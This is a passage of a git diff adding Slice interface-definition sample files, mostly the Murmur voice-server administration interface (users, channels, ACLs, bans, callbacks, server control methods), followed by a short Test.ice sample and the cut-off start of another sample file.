+		/** Idle time. This is how many seconds it is since the user last spoke. Other activity is not counted. */
+		int idlesecs;
+		/** UDP Ping Average. This is the average ping for the user via UDP over the duration of the connection. */
+		float udpPing;
+		/** TCP Ping Average. This is the average ping for the user via TCP over the duration of the connection. */
+		float tcpPing;
+	};
+
+	sequence<int> IntList;
+
+	/** A text message between users.
+	 **/
+	struct TextMessage {
+		/** Sessions (connected users) who were sent this message. */
+		IntList sessions;
+		/** Channels who were sent this message. */
+		IntList channels;
+		/** Trees of channels who were sent this message. */
+		IntList trees;
+		/** The contents of the message. */
+		string text;
+	};
+
+	/** A channel.
+	 **/
+	struct Channel {
+		/** Channel ID. This is unique per channel, and the root channel is always id 0. */
+		int id;
+		/** Name of the channel. There can not be two channels with the same parent that has the same name. */
+		string name;
+		/** ID of parent channel, or -1 if this is the root channel. */
+		int parent;
+		/** List of id of linked channels. */
+		IntList links;
+		/** Description of channel. Shown as tooltip for this channel. */
+		string description;
+		/** Channel is temporary, and will be removed when the last user leaves it. */
+		bool temporary;
+		/** Position of the channel which is used in Client for sorting. */
+		int position;
+	};
+
+	/** A group. Groups are defined per channel, and can inherit members from parent channels.
+	 **/
+	struct Group {
+		/** Group name */
+		string name;
+		/** Is this group inherited from a parent channel? Read-only. */
+		bool inherited;
+		/** Does this group inherit members from parent channels? */
+		bool inherit;
+		/** Can subchannels inherit members from this group? */
+		bool inheritable;
+		/** List of users to add to the group. */
+		IntList add;
+		/** List of inherited users to remove from the group. */
+		IntList remove;
+		/** Current members of the group, including inherited members. Read-only. */
+		IntList members;
+	};
+
+	/** Write access to channel control. Implies all other permissions (except Speak). */
+	const int PermissionWrite = 0x01;
+	/** Traverse channel. Without this, a client cannot reach subchannels, no matter which privileges he has there. */
+	const int PermissionTraverse = 0x02;
+	/** Enter channel. */
+	const int PermissionEnter = 0x04;
+	/** Speak in channel. */
+	const int PermissionSpeak = 0x08;
+	/** Whisper to channel. This is different from Speak, so you can set up different permissions. */
+	const int PermissionWhisper = 0x100;
+	/** Mute and deafen other users in this channel. */
+	const int PermissionMuteDeafen = 0x10;
+	/** Move users from channel. You need this permission in both the source and destination channel to move another user. */
+	const int PermissionMove = 0x20;
+	/** Make new channel as a subchannel of this channel. */
+	const int PermissionMakeChannel = 0x40;
+	/** Make new temporary channel as a subchannel of this channel. */
+	const int PermissionMakeTempChannel = 0x400;
+	/** Link this channel. You need this permission in both the source and destination channel to link channels, or in either channel to unlink them. */
+	const int PermissionLinkChannel = 0x80;
+	/** Send text message to channel. */
+	const int PermissionTextMessage = 0x200;
+	/** Kick user from server. Only valid on root channel. */
+	const int PermissionKick = 0x10000;
+	/** Ban user from server. Only valid on root channel. */
+	const int PermissionBan = 0x20000;
+	/** Register and unregister users. Only valid on root channel. */
+	const int PermissionRegister = 0x40000;
+	/** Register and unregister users. Only valid on root channel. */
+	const int PermissionRegisterSelf = 0x80000;
+
+
+	/** Access Control List for a channel. ACLs are defined per channel, and can be inherited from parent channels.
+	 **/
+	struct ACL {
+		/** Does the ACL apply to this channel? */
+		bool applyHere;
+		/** Does the ACL apply to subchannels? */
+		bool applySubs;
+		/** Is this ACL inherited from a parent channel? Read-only. */
+		bool inherited;
+		/** ID of user this ACL applies to. -1 if using a group name. */
+		int userid;
+		/** Group this ACL applies to. Blank if using userid. */
+		string group;
+		/** Binary mask of privileges to allow. */
+		int allow;
+		/** Binary mask of privileges to deny. */
+		int deny;
+	};
+
+	/** A single ip mask for a ban.
+	 **/
+	struct Ban {
+		/** Address to ban. */
+		NetAddress address;
+		/** Number of bits in ban to apply. */
+		int bits;
+		/** Username associated with ban. */
+		string name;
+		/** Hash of banned user. */
+		string hash;
+		/** Reason for ban. */
+		string reason;
+		/** Date ban was applied in unix time format. */
+		int start;
+		/** Duration of ban. */
+		int duration;
+	};
+
+	/** A entry in the log.
+	 **/
+	struct LogEntry {
+		/** Timestamp in UNIX time_t */
+		int timestamp;
+		/** The log message. */
+		string txt;
+	};
+
+	class Tree;
+	sequence<Tree> TreeList;
+
+	enum ChannelInfo { ChannelDescription, ChannelPosition };
+	enum UserInfo { UserName, UserEmail, UserComment, UserHash, UserPassword, UserLastActive };
+
+	dictionary<int, User> UserMap;
+	dictionary<int, Channel> ChannelMap;
+	sequence<Channel> ChannelList;
+	sequence<User> UserList;
+	sequence<Group> GroupList;
+	sequence<ACL> ACLList;
+	sequence<LogEntry> LogList;
+	sequence<Ban> BanList;
+	sequence<int> IdList;
+	sequence<string> NameList;
+	dictionary<int, string> NameMap;
+	dictionary<string, int> IdMap;
+	sequence<byte> Texture;
+	dictionary<string, string> ConfigMap;
+	sequence<string> GroupNameList;
+	sequence<byte> CertificateDer;
+	sequence<CertificateDer> CertificateList;
+
+	/** User information map.
+	 * Older versions of ice-php can't handle enums as keys. If you are using one of these, replace 'UserInfo' with 'byte'.
+	 */
+
+	dictionary<UserInfo, string> UserInfoMap;
+
+	/** User and subchannel state. Read-only.
+	 **/
+	class Tree {
+		/** Channel definition of current channel. */
+		Channel c;
+		/** List of subchannels. */
+		TreeList children;
+		/** Users in this channel. */
+		UserList users;
+	};
+
+	exception MurmurException {};
+	/** This is thrown when you specify an invalid session. This may happen if the user has disconnected since your last call to {@link Server.getUsers}. See {@link User.session} */
+	exception InvalidSessionException extends MurmurException {};
+	/** This is thrown when you specify an invalid channel id. This may happen if the channel was removed by another provess. It can also be thrown if you try to add an invalid channel. */
+	exception InvalidChannelException extends MurmurException {};
+	/** This is thrown when you try to do an operation on a server that does not exist. This may happen if someone has removed the server. */
+	exception InvalidServerException extends MurmurException {};
+	/** This happens if you try to fetch user or channel state on a stopped server, if you try to stop an already stopped server or start an already started server. */
+	exception ServerBootedException extends MurmurException {};
+	/** This is thrown if {@link Server.start} fails, and should generally be the cause for some concern. */
+	exception ServerFailureException extends MurmurException {};
+	/** This is thrown when you specify an invalid userid. */
+	exception InvalidUserException extends MurmurException {};
+	/** This is thrown when you try to set an invalid texture. */
+	exception InvalidTextureException extends MurmurException {};
+	/** This is thrown when you supply an invalid callback. */
+	exception InvalidCallbackException extends MurmurException {};
+	/**  This is thrown when you supply the wrong secret in the calling context. */
+	exception InvalidSecretException extends MurmurException {};
+	/** This is thrown when the channel operation would excede the channel nesting limit */
+	exception NestingLimitException extends MurmurException {};
+	/**  This is thrown when you ask the server to disclose something that should be secret. */
+	exception WriteOnlyException extends MurmurException {};
+	/** This is thrown when invalid input data was specified. */
+	exception InvalidInputDataException extends MurmurException {};
+
+	/** Callback interface for servers. You can supply an implementation of this to receive notification
+	 *  messages from the server.
+	 *  If an added callback ever throws an exception or goes away, it will be automatically removed.
+	 *  Please note that all callbacks are done asynchronously; murmur does not wait for the callback to
+	 *  complete before continuing processing.
+	 *  Note that callbacks are removed when a server is stopped, so you should have a callback for
+	 *  {@link MetaCallback.started} which calls {@link Server.addCallback}.
+	 *  @see MetaCallback
+	 *  @see Server.addCallback
+	 */
+	interface ServerCallback {
+		/** Called when a user connects to the server. 
+		 *  @param state State of connected user.
+		 */
+		idempotent void userConnected(User state);
+		/** Called when a user disconnects from the server. The user has already been removed, so you can no longer use methods like {@link Server.getState}
+		 *  to retrieve the user's state.
+		 *  @param state State of disconnected user.
+		 */
+		idempotent void userDisconnected(User state);
+		/** Called when a user state changes. This is called if the user moves, is renamed, is muted, deafened etc.
+		 *  @param state New state of user.
+		 */
+		idempotent void userStateChanged(User state);
+		/** Called when user writes a text message
+		 *  @param state the User sending the message
+		 *  @param message the TextMessage the user has sent
+		 */
+		idempotent void userTextMessage(User state, TextMessage message);
+		/** Called when a new channel is created. 
+		 *  @param state State of new channel.
+		 */
+		idempotent void channelCreated(Channel state);
+		/** Called when a channel is removed. The channel has already been removed, you can no longer use methods like {@link Server.getChannelState}
+		 *  @param state State of removed channel.
+		 */
+		idempotent void channelRemoved(Channel state);
+		/** Called when a new channel state changes. This is called if the channel is moved, renamed or if new links are added.
+		 *  @param state New state of channel.
+		 */
+		idempotent void channelStateChanged(Channel state);
+	};
+
+	/** Context for actions in the Server menu. */
+	const int ContextServer = 0x01;
+	/** Context for actions in the Channel menu. */
+	const int ContextChannel = 0x02;
+	/** Context for actions in the User menu. */
+	const int ContextUser = 0x04;
+
+	/** Callback interface for context actions. You need to supply one of these for {@link Server.addContext}. 
+	 *  If an added callback ever throws an exception or goes away, it will be automatically removed.
+	 *  Please note that all callbacks are done asynchronously; murmur does not wait for the callback to
+	 *  complete before continuing processing.
+	 */
+	interface ServerContextCallback {
+		/** Called when a context action is performed.
+		 *  @param action Action to be performed.
+		 *  @param usr User which initiated the action.
+		 *  @param session If nonzero, session of target user.
+		 *  @param channelid If not -1, id of target channel.
+		 */
+		idempotent void contextAction(string action, User usr, int session, int channelid);
+	};
+
+	/** Callback interface for server authentication. You need to supply one of these for {@link Server.setAuthenticator}.
+	 *  If an added callback ever throws an exception or goes away, it will be automatically removed.
+	 *  Please note that unlike {@link ServerCallback} and {@link ServerContextCallback}, these methods are called
+	 *  synchronously. If the response lags, the entire murmur server will lag.
+	 *  Also note that, as the method calls are synchronous, making a call to {@link Server} or {@link Meta} will
+	 *  deadlock the server.
+	 */
+	interface ServerAuthenticator {
+		/** Called to authenticate a user. If you do not know the username in question, always return -2 from this
+		 *  method to fall through to normal database authentication.
+		 *  Note that if authentication succeeds, murmur will create a record of the user in it's database, reserving
+		 *  the username and id so it cannot be used for normal database authentication.
+		 *  The data in the certificate (name, email addresses etc), as well as the list of signing certificates,
+		 *  should only be trusted if certstrong is true.
+		 *
+		 *  Internally, Murmur treats usernames as case-insensitive. It is recommended
+		 *  that authenticators do the same. Murmur checks if a username is in use when
+		 *  a user connects. If the connecting user is registered, the other username is
+		 *  kicked. If the connecting user is not registered, the connecting user is not
+		 *  allowed to join the server.
+		 *
+		 *  @param name Username to authenticate.
+		 *  @param pw Password to authenticate with.
+		 *  @param certificates List of der encoded certificates the user connected with.
+		 *  @param certhash Hash of user certificate, as used by murmur internally when matching.
+		 *  @param certstrong True if certificate was valid and signed by a trusted CA.
+		 *  @param newname Set this to change the username from the supplied one.
+		 *  @param groups List of groups on the root channel that the user will be added to for the duration of the connection.
+		 *  @return UserID of authenticated user, -1 for authentication failures, -2 for unknown user (fallthrough),
+		 *          -3 for authentication failures where the data could (temporarily) not be verified.
+		 */
+		idempotent int authenticate(string name, string pw, CertificateList certificates, string certhash, bool certstrong, out string newname, out GroupNameList groups);
+
+		/** Fetch information about a user. This is used to retrieve information like email address, keyhash etc. If you
+		 *  want murmur to take care of this information itself, simply return false to fall through.
+		 *  @param id User id.
+		 *  @param info Information about user. This needs to include at least "name".
+		 *  @return true if information is present, false to fall through.
+		 */
+		idempotent bool getInfo(int id, out UserInfoMap info);
+	
+		/** Map a name to a user id.
+		 *  @param name Username to map.
+		 *  @return User id or -2 for unknown name.
+		 */
+		idempotent int nameToId(string name);
+
+		/** Map a user id to a username.
+		 *  @param id User id to map.
+		 *  @return Name of user or empty string for unknown id.
+		 */
+		idempotent string idToName(int id);
+
+		/** Map a user to a custom Texture.
+		 *  @param id User id to map.
+		 *  @return User texture or an empty texture for unknwon users or users without textures.
+		 */
+		idempotent Texture idToTexture(int id);
+	};
+
+	/** Callback interface for server authentication and registration. This allows you to support both authentication
+	 *  and account updating.
+	 *  You do not need to implement this if all you want is authentication, you only need this if other scripts
+	 *  connected to the same server calls e.g. {@link Server.setTexture}.
+	 *  Almost all of these methods support fall through, meaning murmur should continue the operation against its
+	 *  own database.
+	 */
+	interface ServerUpdatingAuthenticator extends ServerAuthenticator {
+		/** Register a new user.
+		 *  @param info Information about user to register.
+		 *  @return User id of new user, -1 for registration failure, or -2 to fall through.
+		 */
+		int registerUser(UserInfoMap info);
+
+		/** Unregister a user.
+		 *  @param id Userid to unregister.
+		 *  @return 1 for successfull unregistration, 0 for unsuccessfull unregistration, -1 to fall through.
+		 */
+		int unregisterUser(int id);
+
+		/** Get a list of registered users matching filter.
+		 *  @param filter Substring usernames must contain. If empty, return all registered users.
+		 *  @return List of matching registered users.
+		 */
+		idempotent NameMap getRegisteredUsers(string filter);
+
+		/** Set additional information for user registration.
+		 *  @param id Userid of registered user.
+		 *  @param info Information to set about user. This should be merged with existing information.
+		 *  @return 1 for successfull update, 0 for unsuccessfull update, -1 to fall through.
+		 */
+		idempotent int setInfo(int id, UserInfoMap info);
+
+		/** Set texture (now called avatar) of user registration.
+		 *  @param id registrationId of registered user.
+		 *  @param tex New texture.
+		 *  @return 1 for successfull update, 0 for unsuccessfull update, -1 to fall through.
+		 */
+		idempotent int setTexture(int id, Texture tex);
+	};
+
+	/** Per-server interface. This includes all methods for configuring and altering
+	 * the state of a single virtual server. You can retrieve a pointer to this interface
+	 * from one of the methods in {@link Meta}.
+	 **/
+	["amd"] interface Server {
+		/** Shows if the server currently running (accepting users).
+		 *
+		 * @return Run-state of server.
+		 */
+		idempotent bool isRunning() throws InvalidSecretException;
+
+		/** Start server. */
+		void start() throws ServerBootedException, ServerFailureException, InvalidSecretException;
+
+		/** Stop server.
+		 * Note: Server will be restarted on Murmur restart unless explicitly disabled
+		 *       with setConf("boot", false)
+		 */
+		void stop() throws ServerBootedException, InvalidSecretException;
+
+		/** Delete server and all it's configuration. */
+		void delete() throws ServerBootedException, InvalidSecretException;
+
+		/** Fetch the server id.
+		 *
+		 * @return Unique server id.
+		 */
+		idempotent int id() throws InvalidSecretException;
+
+		/** Add a callback. The callback will receive notifications about changes to users and channels.
+		 *
+		 * @param cb Callback interface which will receive notifications.
+		 * @see removeCallback
+		 */
+		void addCallback(ServerCallback *cb) throws ServerBootedException, InvalidCallbackException, InvalidSecretException;
+
+		/** Remove a callback.
+		 *
+		 * @param cb Callback interface to be removed.
+		 * @see addCallback
+		 */
+		void removeCallback(ServerCallback *cb) throws ServerBootedException, InvalidCallbackException, InvalidSecretException;
+
+		/** Set external authenticator. If set, all authentications from clients are forwarded to this
+		 *  proxy.
+		 *
+		 * @param auth Authenticator object to perform subsequent authentications.
+		 */
+		void setAuthenticator(ServerAuthenticator *auth) throws ServerBootedException, InvalidCallbackException, InvalidSecretException;
+
+		/** Retrieve configuration item.
+		 * @param key Configuration key.
+		 * @return Configuration value. If this is empty, see {@link Meta.getDefaultConf}
+		 */
+		idempotent string getConf(string key) throws InvalidSecretException, WriteOnlyException;
+
+		/** Retrieve all configuration items.
+		 * @return All configured values. If a value isn't set here, the value from {@link Meta.getDefaultConf} is used.
+		 */
+		idempotent ConfigMap getAllConf() throws InvalidSecretException;
+
+		/** Set a configuration item.
+		 * @param key Configuration key.
+		 * @param value Configuration value.
+		 */
+		idempotent void setConf(string key, string value) throws InvalidSecretException;
+
+		/** Set superuser password. This is just a convenience for using {@link updateRegistration} on user id 0.
+		 * @param pw Password.
+		 */
+		idempotent void setSuperuserPassword(string pw) throws InvalidSecretException;
+
+		/** Fetch log entries.
+		 * @param first Lowest numbered entry to fetch. 0 is the most recent item.
+		 * @param last Last entry to fetch.
+		 * @return List of log entries.
+		 */
+		idempotent LogList getLog(int first, int last) throws InvalidSecretException;
+
+		/** Fetch length of log
+		 * @return Number of entries in log
+		 */
+		idempotent int getLogLen() throws InvalidSecretException;
+
+		/** Fetch all users. This returns all currently connected users on the server.
+		 * @return List of connected users.
+		 * @see getState
+		 */
+		idempotent UserMap getUsers() throws ServerBootedException, InvalidSecretException;
+
+		/** Fetch all channels. This returns all defined channels on the server. The root channel is always channel 0.
+		 * @return List of defined channels.
+		 * @see getChannelState
+		 */
+		idempotent ChannelMap getChannels() throws ServerBootedException, InvalidSecretException;
+
+		/** Fetch certificate of user. This returns the complete certificate chain of a user.
+		 * @param session Connection ID of user. See {@link User.session}.
+		 * @return Certificate list of user.
+		 */
+		idempotent CertificateList getCertificateList(int session) throws ServerBootedException, InvalidSessionException, InvalidSecretException;
+
+		/** Fetch all channels and connected users as a tree. This retrieves an easy-to-use representation of the server
+		 *  as a tree. This is primarily used for viewing the state of the server on a webpage.
+		 * @return Recursive tree of all channels and connected users.
+		 */
+		idempotent Tree getTree() throws ServerBootedException, InvalidSecretException;
+
+		/** Fetch all current IP bans on the server.
+		 * @return List of bans.
+		 */
+		idempotent BanList getBans() throws ServerBootedException, InvalidSecretException;
+
+		/** Set all current IP bans on the server. This will replace any bans already present, so if you want to add a ban, be sure to call {@link getBans} and then
+		 *  append to the returned list before calling this method.
+		 * @param bans List of bans.
+		 */
+		idempotent void setBans(BanList bans) throws ServerBootedException, InvalidSecretException;
+
+		/** Kick a user. The user is not banned, and is free to rejoin the server.
+		 * @param session Connection ID of user. See {@link User.session}.
+		 * @param reason Text message to show when user is kicked.
+		 */
+		void kickUser(int session, string reason) throws ServerBootedException, InvalidSessionException, InvalidSecretException;
+
+		/** Get state of a single connected user. 
+		 * @param session Connection ID of user. See {@link User.session}.
+		 * @return State of connected user.
+		 * @see setState
+		 * @see getUsers
+		 */
+		idempotent User getState(int session) throws ServerBootedException, InvalidSessionException, InvalidSecretException;
+
+		/** Set user state. You can use this to move, mute and deafen users.
+		 * @param state User state to set.
+		 * @see getState
+		 */
+		idempotent void setState(User state) throws ServerBootedException, InvalidSessionException, InvalidChannelException, InvalidSecretException;
+
+		/** Send text message to a single user.
+		 * @param session Connection ID of user. See {@link User.session}.
+		 * @param text Message to send.
+		 * @see sendMessageChannel
+		 */
+		void sendMessage(int session, string text) throws ServerBootedException, InvalidSessionException, InvalidSecretException;
+
+		/** Check if user is permitted to perform action.
+		 * @param session Connection ID of user. See {@link User.session}.
+		 * @param channelid ID of Channel. See {@link Channel.id}.
+		 * @param perm Permission bits to check.
+		 * @return true if any of the permissions in perm were set for the user.
+		 */
+		bool hasPermission(int session, int channelid, int perm) throws ServerBootedException, InvalidSessionException, InvalidChannelException, InvalidSecretException;
+		
+		/** Return users effective permissions
+		 * @param session Connection ID of user. See {@link User.session}.
+		 * @param channelid ID of Channel. See {@link Channel.id}.
+		 * @return bitfield of allowed actions
+		 */
+		idempotent int effectivePermissions(int session, int channelid) throws ServerBootedException, InvalidSessionException, InvalidChannelException, InvalidSecretException;
+
+		/** Add a context callback. This is done per user, and will add a context menu action for the user.
+		 *
+		 * @param session Session of user which should receive context entry.
+		 * @param action Action string, a unique name to associate with the action.
+		 * @param text Name of action shown to user.
+		 * @param cb Callback interface which will receive notifications.
+		 * @param ctx Context this should be used in. Needs to be one or a combination of {@link ContextServer}, {@link ContextChannel} and {@link ContextUser}.
+		 * @see removeContextCallback
+		 */
+		void addContextCallback(int session, string action, string text, ServerContextCallback *cb, int ctx) throws ServerBootedException, InvalidCallbackException, InvalidSecretException;
+
+		/** Remove a callback.
+		 *
+		 * @param cb Callback interface to be removed. This callback will be removed from all from all users.
+		 * @see addContextCallback
+		 */
+		void removeContextCallback(ServerContextCallback *cb) throws ServerBootedException, InvalidCallbackException, InvalidSecretException;
+		
+		/** Get state of single channel.
+		 * @param channelid ID of Channel. See {@link Channel.id}.
+		 * @return State of channel.
+		 * @see setChannelState
+		 * @see getChannels
+		 */
+		idempotent Channel getChannelState(int channelid) throws ServerBootedException, InvalidChannelException, InvalidSecretException;
+
+		/** Set state of a single channel. You can use this to move or relink channels.
+		 * @param state Channel state to set.
+		 * @see getChannelState
+		 */
+		idempotent void setChannelState(Channel state) throws ServerBootedException, InvalidChannelException, InvalidSecretException, NestingLimitException;
+
+		/** Remove a channel and all its subchannels.
+		 * @param channelid ID of Channel. See {@link Channel.id}.
+		 */
+		void removeChannel(int channelid) throws ServerBootedException, InvalidChannelException, InvalidSecretException;
+
+		/** Add a new channel.
+		 * @param name Name of new channel.
+		 * @param parent Channel ID of parent channel. See {@link Channel.id}.
+		 * @return ID of newly created channel.
+		 */
+		int addChannel(string name, int parent) throws ServerBootedException, InvalidChannelException, InvalidSecretException, NestingLimitException;
+
+		/** Send text message to channel or a tree of channels.
+		 * @param channelid Channel ID of channel to send to. See {@link Channel.id}.
+		 * @param tree If true, the message will be sent to the channel and all its subchannels.
+		 * @param text Message to send.
+		 * @see sendMessage
+		 */
+		void sendMessageChannel(int channelid, bool tree, string text) throws ServerBootedException, InvalidChannelException, InvalidSecretException;
+
+		/** Retrieve ACLs and Groups on a channel.
+		 * @param channelid Channel ID of channel to fetch from. See {@link Channel.id}.
+		 * @param acls List of ACLs on the channel. This will include inherited ACLs.
+		 * @param groups List of groups on the channel. This will include inherited groups.
+		 * @param inherit Does this channel inherit ACLs from the parent channel?
+		 */
+		idempotent void getACL(int channelid, out ACLList acls, out GroupList groups, out bool inherit) throws ServerBootedException, InvalidChannelException, InvalidSecretException;
+
+		/** Set ACLs and Groups on a channel. Note that this will replace all existing ACLs and groups on the channel.
+		 * @param channelid Channel ID of channel to fetch from. See {@link Channel.id}.
+		 * @param acls List of ACLs on the channel.
+		 * @param groups List of groups on the channel.
+		 * @param inherit Should this channel inherit ACLs from the parent channel?
+		 */
+		idempotent void setACL(int channelid, ACLList acls, GroupList groups, bool inherit) throws ServerBootedException, InvalidChannelException, InvalidSecretException;
+
+		/** Temporarily add a user to a group on a channel. This state is not saved, and is intended for temporary memberships.
+		 * @param channelid Channel ID of channel to add to. See {@link Channel.id}.
+		 * @param session Connection ID of user. See {@link User.session}.
+		 * @param group Group name to add to.
+		 */
+		idempotent void addUserToGroup(int channelid, int session, string group) throws ServerBootedException, InvalidChannelException, InvalidSessionException, InvalidSecretException;
+
+		/** Remove a user from a temporary group membership on a channel. This state is not saved, and is intended for temporary memberships.
+		 * @param channelid Channel ID of channel to add to. See {@link Channel.id}.
+		 * @param session Connection ID of user. See {@link User.session}.
+		 * @param group Group name to remove from.
+		 */
+		idempotent void removeUserFromGroup(int channelid, int session, string group) throws ServerBootedException, InvalidChannelException, InvalidSessionException, InvalidSecretException;
+
+		/** Redirect whisper targets for user. If set, whenever a user tries to whisper to group "source", the whisper will be redirected to group "target".
+		 * To remove a redirect pass an empty target string. This is intended for context groups.
+		 * @param session Connection ID of user. See {@link User.session}.
+		 * @param source Group name to redirect from.
+		 * @param target Group name to redirect to.
+		 */
+		idempotent void redirectWhisperGroup(int session, string source, string target) throws ServerBootedException, InvalidSessionException, InvalidSecretException;
+
+		/** Map a list of {@link User.userid} to a matching name.
+		 * @param List of ids.
+		 * @return Matching list of names, with an empty string representing invalid or unknown ids.
+		 */
+		idempotent NameMap getUserNames(IdList ids) throws ServerBootedException, InvalidSecretException;
+
+		/** Map a list of user names to a matching id.
+		 * @param List of names.
+		 * @reuturn List of matching ids, with -1 representing invalid or unknown user names.
+		 */
+		idempotent IdMap getUserIds(NameList names) throws ServerBootedException, InvalidSecretException;
+
+		/** Register a new user.
+		 * @param info Information about new user. Must include at least "name".
+		 * @return The ID of the user. See {@link RegisteredUser.userid}.
+		 */
+		int registerUser(UserInfoMap info) throws ServerBootedException, InvalidUserException, InvalidSecretException;
+
+		/** Remove a user registration.
+		 * @param userid ID of registered user. See {@link RegisteredUser.userid}.
+		 */
+		void unregisterUser(int userid) throws ServerBootedException, InvalidUserException, InvalidSecretException;
+
+		/** Update the registration for a user. You can use this to set the email or password of a user,
+		 * and can also use it to change the user's name.
+		 * @param registration Updated registration record.
+		 */
+		idempotent void updateRegistration(int userid, UserInfoMap info) throws ServerBootedException, InvalidUserException, InvalidSecretException;
+
+		/** Fetch registration for a single user.
+		 * @param userid ID of registered user. See {@link RegisteredUser.userid}.
+		 * @return Registration record.
+		 */
+		idempotent UserInfoMap getRegistration(int userid) throws ServerBootedException, InvalidUserException, InvalidSecretException;
+
+		/** Fetch a group of registered users.
+		 * @param filter Substring of user name. If blank, will retrieve all registered users.
+		 * @return List of registration records.
+		 */
+		idempotent NameMap getRegisteredUsers(string filter) throws ServerBootedException, InvalidSecretException;
+
+		/** Verify the password of a user. You can use this to verify a user's credentials.
+		 * @param name User name. See {@link RegisteredUser.name}.
+		 * @param pw User password.
+		 * @return User ID of registered user (See {@link RegisteredUser.userid}), -1 for failed authentication or -2 for unknown usernames.
+		 */
+		idempotent int verifyPassword(string name, string pw) throws ServerBootedException, InvalidSecretException;
+
+		/** Fetch user texture. Textures are stored as zlib compress()ed 600x60 32-bit BGRA data.
+		 * @param userid ID of registered user. See {@link RegisteredUser.userid}.
+		 * @return Custom texture associated with user or an empty texture.
+		 */
+		idempotent Texture getTexture(int userid) throws ServerBootedException, InvalidUserException, InvalidSecretException;
+
+		/** Set a user texture (now called avatar).
+		 * @param userid ID of registered user. See {@link RegisteredUser.userid}.
+		 * @param tex Texture (as a Byte-Array) to set for the user, or an empty texture to remove the existing texture.
+		 */
+		idempotent void setTexture(int userid, Texture tex) throws ServerBootedException, InvalidUserException, InvalidTextureException, InvalidSecretException;
+
+		/** Get virtual server uptime.
+		 * @return Uptime of the virtual server in seconds
+		 */
+		idempotent int getUptime() throws ServerBootedException, InvalidSecretException;
+
+		/**
+		 * Update the server's certificate information.
+		 *
+		 * Reconfigure the running server's TLS socket with the given
+		 * certificate and private key.
+		 *
+		 * The certificate and and private key must be PEM formatted.
+		 *
+		 * New clients will see the new certificate.
+		 * Existing clients will continue to see the certificate the server
+		 * was using when they connected to it.
+		 *
+		 * This method throws InvalidInputDataException if any of the
+		 * following errors happen:
+		 *  - Unable to decode the PEM certificate and/or private key.
+		 *  - Unable to decrypt the private key with the given passphrase.
+		 *  - The certificate and/or private key do not contain RSA keys.
+		 *  - The certificate is not usable with the given private key.
+		 */
+		 idempotent void updateCertificate(string certificate, string privateKey, string passphrase) throws ServerBootedException, InvalidSecretException, InvalidInputDataException;
+	};
+
+	/** Callback interface for Meta. You can supply an implementation of this to receive notifications
+	 *  when servers are stopped or started.
+	 *  If an added callback ever throws an exception or goes away, it will be automatically removed.
+	 *  Please note that all callbacks are done asynchronously; murmur does not wait for the callback to
+	 *  complete before continuing processing.
+	 *  @see ServerCallback
+	 *  @see Meta.addCallback
+	 */
+	interface MetaCallback {
+		/** Called when a server is started. The server is up and running when this event is sent, so all methods that 
+		 *  need a running server will work.
+		 *  @param srv Interface for started server.
+		 */
+		void started(Server *srv);
+
+		/** Called when a server is stopped. The server is already stopped when this event is sent, so no methods that
+		 *  need a running server will work.
+		 *  @param srv Interface for started server.
+		 */
+		void stopped(Server *srv);
+	};
+
+	sequence<Server *> ServerList;
+
+	/** This is the meta interface. It is primarily used for retrieving the {@link Server} interfaces for each individual server.
+	 **/
+	["amd"] interface Meta {
+		/** Fetch interface to specific server.
+		 * @param id Server ID. See {@link Server.getId}.
+		 * @return Interface for specified server, or a null proxy if id is invalid.
+		 */
+		idempotent Server *getServer(int id) throws InvalidSecretException;
+
+		/** Create a new server. Call {@link Server.getId} on the returned interface to find it's ID.
+		 * @return Interface for new server.
+		 */
+		Server *newServer() throws InvalidSecretException;
+
+		/** Fetch list of all currently running servers.
+		 * @return List of interfaces for running servers.
+		 */
+		idempotent ServerList getBootedServers() throws InvalidSecretException;
+
+		/** Fetch list of all defined servers.
+		 * @return List of interfaces for all servers.
+		 */
+		idempotent ServerList getAllServers() throws InvalidSecretException;
+
+		/** Fetch default configuraion. This returns the configuration items that were set in the configuration file, or
+		 * the built-in default. The individual servers will use these values unless they have been overridden in the
+		 * server specific configuration. The only special case is the port, which defaults to the value defined here +
+		 * the servers ID - 1 (so that virtual server #1 uses the defined port, server #2 uses port+1 etc).
+		 * @return Default configuration of the servers.
+		 */
+		idempotent ConfigMap getDefaultConf() throws InvalidSecretException;
+
+		/** Fetch version of Murmur. 
+		 * @param major Major version.
+		 * @param minor Minor version.
+		 * @param patch Patchlevel.
+		 * @param text Textual representation of version. Note that this may not match the {@link major}, {@link minor} and {@link patch} levels, as it
+		 *   may be simply the compile date or the SVN revision. This is usually the text you want to present to users.
+		 */
+		idempotent void getVersion(out int major, out int minor, out int patch, out string text);
+
+		/** Add a callback. The callback will receive notifications when servers are started or stopped.
+		 *
+		 * @param cb Callback interface which will receive notifications.
+		 */
+		void addCallback(MetaCallback *cb) throws InvalidCallbackException, InvalidSecretException;
+
+		/** Remove a callback.
+		 *
+		 * @param cb Callback interface to be removed.
+		 */
+		void removeCallback(MetaCallback *cb) throws InvalidCallbackException, InvalidSecretException;
+		
+		/** Get murmur uptime.
+		 * @return Uptime of murmur in seconds
+		 */
+		idempotent int getUptime();
+
+		/** Get slice file.
+		 * @return Contents of the slice file server compiled with.
+		 */
+		idempotent string getSlice();
+
+		/** Returns a checksum dict for the slice file.
+		 * @return Checksum dict
+		 */
+		idempotent Ice::SliceChecksumDict getSliceChecksums();
+	};
+};
diff --git a/samples/Slice/Test.ice b/samples/Slice/Test.ice
new file mode 100644
index 0000000000..d68ed464ca
--- /dev/null
+++ b/samples/Slice/Test.ice
@@ -0,0 +1,54 @@
+#pragma once
+
+#ifndef SOME_TEST
+[["java:package:linguist"]]
+#endif
+
+module Linguist
+{
+    enum MyEnum
+    {
+        One,
+        Two,
+        Three
+    }
+
+    struct MyStruct
+    {
+        // An int
+        int a;
+        /* string */
+        string b;
+
+        MyEnum e;
+    }
+
+    exception MyException {
+        string e;
+    }
+
+    dictionary<string, string> MyDict;
+
+    sequence<MyEnum> MyEnumSeq;
+
+    class BaseClass {
+        int value = -1;
+    }
+
+    class MyClass extends BaseClass
+    {
+        MyDict info;
+
+        optional(1) string op;
+    }
+
+
+    interface MyInterface
+    {
+        void operationA(out bool valid);
+        idempotent void operationB(int a);
+        MyEnumseq getEnum();
+
+        ["cpp:const", "cpp:noexcept"] string getName();
+    }
+}
diff --git a/samples/Slice/testSlice01.ice b/samples/Slice/testSlice01.ice
new file mode 100644
index 0000000000..7e466194c8
--- /dev/null
+++ b/samples/Slice/testSlice01.ice
@@ -0,0 +1,123 @@
+#ifndef SOME_GUAD_ICE
+#define SOME_GUAD_ICE
+
+#include <SomeOtherModule.ice>
+#include <YetAnoterOtherModule.ice>
+
+module SomeModule
+{
